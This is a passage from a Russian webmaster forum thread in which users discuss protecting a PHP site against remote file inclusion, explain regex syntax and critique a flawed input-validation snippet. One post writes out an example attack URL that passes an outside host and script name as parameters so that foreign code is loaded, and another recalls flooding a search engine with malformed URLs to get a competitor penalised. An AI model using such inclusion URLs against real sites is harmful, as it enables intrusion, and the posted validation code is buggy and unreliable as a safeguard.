Возможно ли так взломат сайт?

123
[Удален]
#11

DenIT, вот и я о том-же :) (ведёт, хотя ссылка неправильная, и яндекс будет её клеить)

DI
На сайте с 03.01.2007
Offline
123
#12

Кстати, а подобными дублями сайт под санкции подвести уже нельзя? Раньше, помнится, можно было налепить через аддурелку несколько тысяч таких кривых страниц - и все, конкурента нет:)

Высказывание идиотского утверждения требует на порядок меньше усилий, чем его последовательное и обоснованное опровержение и более того, иногда это опровержение вообще невозможно. © (http://zhurnal.lib.ru/s/shapiro_m_a/raspidiota.shtml)
[Удален]
#13
DenIT:
Раньше, помнится, можно было налепить через аддурелку несколько тысяч таких кривых страниц - и все, конкурента нет

Такое не пройдёт, многие движки сами себе такие кривые страницы генерируют (рнрВВ2 например по дефолту так делает)

Но топик не об этом, а о том что писать надо грамотно, иначе проблем не избежать... (конечно проблемы разные бывают, в том числе и мелкие, однако бывают и крупные, как в случае с ТС и рассылкой спама)

S
На сайте с 21.10.2007
Offline
34
#14
Зингельшухер:
'#[^a-z0-9]#s'

смотрел синтаксис регулярок, но нигде нету описания символа '#', что он означает и что он означает в паре с буковой s '#s' ?

mfl
На сайте с 16.10.2006
Offline
134
mfl
#15
#

- в данном случае ограничитель паттерна

# - ограничитель (можно использовать другие редкоиспользуемые символы: ~ | /

[^a-z0-9] - сам паттерн (данному паттерну соответствует любой символ, в том числе и перенос строки, кроме цифр и букв латинского алфавита от а до z)

s - модификатор паттерна (в данном случае он не нужен, т.к. перенос строки соответствует паттерну [^a-z0-9] )

[Удален]
#16
mfl:
в данном случае он не нужен

Он был там откуда я взял эту регулярку (это я типа стрелки перевожу, типа я не виноват, я только процитировал)

Кстати (по теме топика)

Ссылка по теме: /ru/forum/123522

(там даже место где я заблуждался так-же как и DenIT думая что числа надо переводить в integer)

D
На сайте с 16.02.2008
Offline
11
#17

ini_set('allow_url_include', 0);

[Удален]
#18
doggystyle:
ini_set('allow_url_include', 0);

Хорошее решение (я бы даже сказал почти правильное) но работает не то что "не на всех" хостингах, а скорее наоборот работает "только на некоторых", плюс ко всему это позволяет инклудить произвольные файлы, а это тоже опасно (хоть и не так опасно, но как я писал уже в слове безопасность нет понятия больше/меньше, есть опасно или нет)

S
На сайте с 21.10.2007
Offline
34
#19

Тут почитал кое - что подумал кой над чем. И думаю так: чтоб запустить чужой скрипт на моём сайте можно только если прописать в Адресе вот это:

http://www.мойсайт/index.php?dr=http://www.чужойсайт.com/&id=connect.php

То есть в параметре dr указывается чужой ардес соотвесно id=чудой скрипт

Для проверки 'dr' и 'id' я пишу регулярку вот в такой форме:

 

if(!empty($id))
{
if (preg_match('/[^a-z\/]+$/',$dr) || preg_match('/[^a-z]+$/',$id) {$dr='http://www.мойсайт/';$id='файл_ошибки';}
}

Цель добиться чтоб в dr находились только буквы и слэш (один слэш) , а в id только буквы.

Но что-то не очень выходит у меня цель.) Глянте опытным глазом что не так.

[Удален]
#20
snug:
/[^a-z\/]+$/

зачем там "+$" нужен ? (не нужен)

snug:
$dr='http://www.мойсайт/'

Зачем ?

Там нужен DocumentRoot

123

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий